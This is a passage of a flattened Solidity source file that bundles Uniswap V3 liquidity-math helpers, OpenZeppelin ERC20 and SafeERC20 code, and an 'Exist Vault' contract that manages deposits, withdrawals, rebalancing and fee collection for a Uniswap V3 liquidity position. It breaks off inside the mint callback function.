// Part: LiquidityAmounts
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/ERC20
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3Pool
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// Part: ExistVault
/**
* @title Exist Vault
* @notice A vault that provides liquidity on Uniswap V3.
*/
contract ExistVault is
IVault,
IUniswapV3MintCallback,
IUniswapV3SwapCallback,
ERC20,
ReentrancyGuard
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
event Deposit(
address indexed sender,
address indexed to,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event Withdraw(
address indexed sender,
address indexed to,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event CollectFees(
uint256 feesToVault0,
uint256 feesToVault1,
uint256 feesToProtocol0,
uint256 feesToProtocol1
);
event Snapshot(int24 tick, uint256 totalAmount0, uint256 totalAmount1, uint256 totalSupply);
IUniswapV3Pool public immutable pool;
IERC20 public immutable token0;
IERC20 public immutable token1;
int24 public immutable tickSpacing;
uint256 public protocolFee;
uint256 public maxTotalSupply;
address public strategy;
address public governance;
address public pendingGovernance;
int24 public baseLower;
int24 public baseUpper;
int24 public limitLower;
int24 public limitUpper;
uint256 public accruedProtocolFees0;
uint256 public accruedProtocolFees1;
/**
* @dev After deploying, strategy needs to be set via `setStrategy()`
* @param _pool Underlying Uniswap V3 pool
* @param _protocolFee Protocol fee expressed as multiple of 1e-6
* @param _maxTotalSupply Cap on total supply
*/
constructor(
address _pool,
uint256 _protocolFee,
uint256 _maxTotalSupply
) ERC20("Exist Vault", "AV") {
pool = IUniswapV3Pool(_pool);
token0 = IERC20(IUniswapV3Pool(_pool).token0());
token1 = IERC20(IUniswapV3Pool(_pool).token1());
tickSpacing = IUniswapV3Pool(_pool).tickSpacing();
protocolFee = _protocolFee;
maxTotalSupply = _maxTotalSupply;
governance = msg.sender;
require(_protocolFee < 1e6, "protocolFee");
}
/**
* @notice Deposits tokens in proportion to the vault's current holdings.
* @dev These tokens sit in the vault and are not used for liquidity on
* Uniswap until the next rebalance. Also note it's not necessary to check
* if user manipulated price to deposit cheaper, as the value of range
* orders can only by manipulated higher.
* @param amount0Desired Max amount of token0 to deposit
* @param amount1Desired Max amount of token1 to deposit
* @param amount0Min Revert if resulting `amount0` is less than this
* @param amount1Min Revert if resulting `amount1` is less than this
* @param to Recipient of shares
* @return shares Number of shares minted
* @return amount0 Amount of token0 deposited
* @return amount1 Amount of token1 deposited
*/
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
uint256 amount0Min,
uint256 amount1Min,
address to
)
external
override
nonReentrant
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
require(amount0Desired > 0 || amount1Desired > 0, "amount0Desired or amount1Desired");
require(to != address(0) && to != address(this), "to");
// Poke positions so vault's current holdings are up-to-date
_poke(baseLower, baseUpper);
_poke(limitLower, limitUpper);
// Calculate amounts proportional to vault's holdings
(shares, amount0, amount1) = _calcSharesAndAmounts(amount0Desired, amount1Desired);
require(shares > 0, "shares");
require(amount0 >= amount0Min, "amount0Min");
require(amount1 >= amount1Min, "amount1Min");
// Pull in tokens from sender
if (amount0 > 0) token0.safeTransferFrom(msg.sender, address(this), amount0);
if (amount1 > 0) token1.safeTransferFrom(msg.sender, address(this), amount1);
// Mint shares to recipient
_mint(to, shares);
emit Deposit(msg.sender, to, shares, amount0, amount1);
require(totalSupply() <= maxTotalSupply, "maxTotalSupply");
}
/// @dev Do zero-burns to poke a position on Uniswap so earned fees are
/// updated. Should be called if total amounts needs to include up-to-date
/// fees.
function _poke(int24 tickLower, int24 tickUpper) internal {
(uint128 liquidity, , , , ) = _position(tickLower, tickUpper);
if (liquidity > 0) {
pool.burn(tickLower, tickUpper, 0);
}
}
/// @dev Calculates the largest possible `amount0` and `amount1` such that
/// they're in the same proportion as total amounts, but not greater than
/// `amount0Desired` and `amount1Desired` respectively.
function _calcSharesAndAmounts(uint256 amount0Desired, uint256 amount1Desired)
internal
view
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
uint256 totalSupply = totalSupply();
(uint256 total0, uint256 total1) = getTotalAmounts();
// If total supply > 0, vault can't be empty
assert(totalSupply == 0 || total0 > 0 || total1 > 0);
if (totalSupply == 0) {
// For first deposit, just use the amounts desired
amount0 = amount0Desired;
amount1 = amount1Desired;
shares = Math.max(amount0, amount1);
} else if (total0 == 0) {
amount1 = amount1Desired;
shares = amount1.mul(totalSupply).div(total1);
} else if (total1 == 0) {
amount0 = amount0Desired;
shares = amount0.mul(totalSupply).div(total0);
} else {
uint256 cross = Math.min(amount0Desired.mul(total1), amount1Desired.mul(total0));
require(cross > 0, "cross");
// Round up amounts
amount0 = cross.sub(1).div(total1).add(1);
amount1 = cross.sub(1).div(total0).add(1);
shares = cross.mul(totalSupply).div(total0).div(total1);
}
}
/**
* @notice Withdraws tokens in proportion to the vault's holdings.
* @param shares Shares burned by sender
* @param amount0Min Revert if resulting `amount0` is smaller than this
* @param amount1Min Revert if resulting `amount1` is smaller than this
* @param to Recipient of tokens
* @return amount0 Amount of token0 sent to recipient
* @return amount1 Amount of token1 sent to recipient
*/
function withdraw(
uint256 shares,
uint256 amount0Min,
uint256 amount1Min,
address to
) external override nonReentrant returns (uint256 amount0, uint256 amount1) {
require(shares > 0, "shares");
require(to != address(0) && to != address(this), "to");
uint256 totalSupply = totalSupply();
// Burn shares
_burn(msg.sender, shares);
// Calculate token amounts proportional to unused balances
uint256 unusedAmount0 = getBalance0().mul(shares).div(totalSupply);
uint256 unusedAmount1 = getBalance1().mul(shares).div(totalSupply);
// Withdraw proportion of liquidity from Uniswap pool
(uint256 baseAmount0, uint256 baseAmount1) =
_burnLiquidityShare(baseLower, baseUpper, shares, totalSupply);
(uint256 limitAmount0, uint256 limitAmount1) =
_burnLiquidityShare(limitLower, limitUpper, shares, totalSupply);
// Sum up total amounts owed to recipient
amount0 = unusedAmount0.add(baseAmount0).add(limitAmount0);
amount1 = unusedAmount1.add(baseAmount1).add(limitAmount1);
require(amount0 >= amount0Min, "amount0Min");
require(amount1 >= amount1Min, "amount1Min");
// Push tokens to recipient
if (amount0 > 0) token0.safeTransfer(to, amount0);
if (amount1 > 0) token1.safeTransfer(to, amount1);
emit Withdraw(msg.sender, to, shares, amount0, amount1);
}
/// @dev Withdraws share of liquidity in a range from Uniswap pool.
function _burnLiquidityShare(
int24 tickLower,
int24 tickUpper,
uint256 shares,
uint256 totalSupply
) internal returns (uint256 amount0, uint256 amount1) {
(uint128 totalLiquidity, , , , ) = _position(tickLower, tickUpper);
uint256 liquidity = uint256(totalLiquidity).mul(shares).div(totalSupply);
if (liquidity > 0) {
(uint256 burned0, uint256 burned1, uint256 fees0, uint256 fees1) =
_burnAndCollect(tickLower, tickUpper, _toUint128(liquidity));
// Add share of fees
amount0 = burned0.add(fees0.mul(shares).div(totalSupply));
amount1 = burned1.add(fees1.mul(shares).div(totalSupply));
}
}
/**
* @notice Updates vault's positions. Can only be called by the strategy.
* @dev Two orders are placed - a base order and a limit order. The base
* order is placed first with as much liquidity as possible. This order
* should use up all of one token, leaving only the other one. This excess
* amount is then placed as a single-sided bid or ask order.
*/
function rebalance(
int256 swapAmount,
uint160 sqrtPriceLimitX96,
int24 _baseLower,
int24 _baseUpper,
int24 _bidLower,
int24 _bidUpper,
int24 _askLower,
int24 _askUpper
) external nonReentrant {
require(msg.sender == strategy, "strategy");
_checkRange(_baseLower, _baseUpper);
_checkRange(_bidLower, _bidUpper);
_checkRange(_askLower, _askUpper);
(, int24 tick, , , , , ) = pool.slot0();
require(_bidUpper <= tick, "bidUpper");
require(_askLower > tick, "askLower"); // inequality is strict as tick is rounded down
// Withdraw all current liquidity from Uniswap pool
{
(uint128 baseLiquidity, , , , ) = _position(baseLower, baseUpper);
(uint128 limitLiquidity, , , , ) = _position(limitLower, limitUpper);
_burnAndCollect(baseLower, baseUpper, baseLiquidity);
_burnAndCollect(limitLower, limitUpper, limitLiquidity);
}
// Emit snapshot to record balances and supply
uint256 balance0 = getBalance0();
uint256 balance1 = getBalance1();
emit Snapshot(tick, balance0, balance1, totalSupply());
if (swapAmount != 0) {
pool.swap(
address(this),
swapAmount > 0,
swapAmount > 0 ? swapAmount : -swapAmount,
sqrtPriceLimitX96,
""
);
balance0 = getBalance0();
balance1 = getBalance1();
}
// Place base order on Uniswap
uint128 liquidity = _liquidityForAmounts(_baseLower, _baseUpper, balance0, balance1);
_mintLiquidity(_baseLower, _baseUpper, liquidity);
(baseLower, baseUpper) = (_baseLower, _baseUpper);
balance0 = getBalance0();
balance1 = getBalance1();
// Place bid or ask order on Uniswap depending on which token is left
uint128 bidLiquidity = _liquidityForAmounts(_bidLower, _bidUpper, balance0, balance1);
uint128 askLiquidity = _liquidityForAmounts(_askLower, _askUpper, balance0, balance1);
if (bidLiquidity > askLiquidity) {
_mintLiquidity(_bidLower, _bidUpper, bidLiquidity);
(limitLower, limitUpper) = (_bidLower, _bidUpper);
} else {
_mintLiquidity(_askLower, _askUpper, askLiquidity);
(limitLower, limitUpper) = (_askLower, _askUpper);
}
}
function _checkRange(int24 tickLower, int24 tickUpper) internal view {
int24 _tickSpacing = tickSpacing;
require(tickLower < tickUpper, "tickLower < tickUpper");
require(tickLower >= TickMath.MIN_TICK, "tickLower too low");
require(tickUpper <= TickMath.MAX_TICK, "tickUpper too high");
require(tickLower % _tickSpacing == 0, "tickLower % tickSpacing");
require(tickUpper % _tickSpacing == 0, "tickUpper % tickSpacing");
}
/// @dev Withdraws liquidity from a range and collects all fees in the
/// process.
function _burnAndCollect(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
)
internal
returns (
uint256 burned0,
uint256 burned1,
uint256 feesToVault0,
uint256 feesToVault1
)
{
if (liquidity > 0) {
(burned0, burned1) = pool.burn(tickLower, tickUpper, liquidity);
}
// Collect all owed tokens including earned fees
(uint256 collect0, uint256 collect1) =
pool.collect(
address(this),
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
feesToVault0 = collect0.sub(burned0);
feesToVault1 = collect1.sub(burned1);
uint256 feesToProtocol0;
uint256 feesToProtocol1;
// Update accrued protocol fees
uint256 _protocolFee = protocolFee;
if (_protocolFee > 0) {
feesToProtocol0 = feesToVault0.mul(_protocolFee).div(1e6);
feesToProtocol1 = feesToVault1.mul(_protocolFee).div(1e6);
feesToVault0 = feesToVault0.sub(feesToProtocol0);
feesToVault1 = feesToVault1.sub(feesToProtocol1);
accruedProtocolFees0 = accruedProtocolFees0.add(feesToProtocol0);
accruedProtocolFees1 = accruedProtocolFees1.add(feesToProtocol1);
}
emit CollectFees(feesToVault0, feesToVault1, feesToProtocol0, feesToProtocol1);
}
/// @dev Deposits liquidity in a range on the Uniswap pool.
function _mintLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) internal {
if (liquidity > 0) {
pool.mint(address(this), tickLower, tickUpper, liquidity, "");
}
}
/**
* @notice Calculates the vault's total holdings of token0 and token1 - in
* other words, how much of each token the vault would hold if it withdrew
* all its liquidity from Uniswap.
*/
function getTotalAmounts() public view override returns (uint256 total0, uint256 total1) {
(uint256 baseAmount0, uint256 baseAmount1) = getPositionAmounts(baseLower, baseUpper);
(uint256 limitAmount0, uint256 limitAmount1) = getPositionAmounts(limitLower, limitUpper);
total0 = getBalance0().add(baseAmount0).add(limitAmount0);
total1 = getBalance1().add(baseAmount1).add(limitAmount1);
}
/**
* @notice Amounts of token0 and token1 held in vault's position. Includes
* owed fees but excludes the proportion of fees that will be paid to the
* protocol. Doesn't include fees accrued since last poke.
*/
function getPositionAmounts(int24 tickLower, int24 tickUpper)
public
view
returns (uint256 amount0, uint256 amount1)
{
(uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) = _position(tickLower, tickUpper);
(amount0, amount1) = _amountsForLiquidity(tickLower, tickUpper, liquidity);
// Subtract protocol fees
uint256 oneMinusFee = uint256(1e6).sub(protocolFee);
amount0 = amount0.add(uint256(tokensOwed0).mul(oneMinusFee).div(1e6));
amount1 = amount1.add(uint256(tokensOwed1).mul(oneMinusFee).div(1e6));
}
/**
* @notice Balance of token0 in vault not used in any position.
*/
function getBalance0() public view returns (uint256) {
return token0.balanceOf(address(this)).sub(accruedProtocolFees0);
}
/**
* @notice Balance of token1 in vault not used in any position.
*/
function getBalance1() public view returns (uint256) {
return token1.balanceOf(address(this)).sub(accruedProtocolFees1);
}
/// @dev Wrapper around `IUniswapV3Pool.positions()`.
function _position(int24 tickLower, int24 tickUpper)
internal
view
returns (
uint128,
uint256,
uint256,
uint128,
uint128
)
{
bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper);
return pool.positions(positionKey);
}
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
function _amountsForLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) internal view returns (uint256, uint256) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
liquidity
);
}
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
function _liquidityForAmounts(
int24 tickLower,
int24 tickUpper,
uint256 amount0,
uint256 amount1
) internal view returns (uint128) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
amount0,
amount1
);
}
/// @dev Casts uint256 to uint128 with overflow check.
function _toUint128(uint256 x) internal pure returns (uint128) {
assert(x <= type(uint128).max);
return uint128(x);
}
/// @dev Callback for Uniswap V3 pool.
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata
) external override {
require(msg.sender == address(pool));
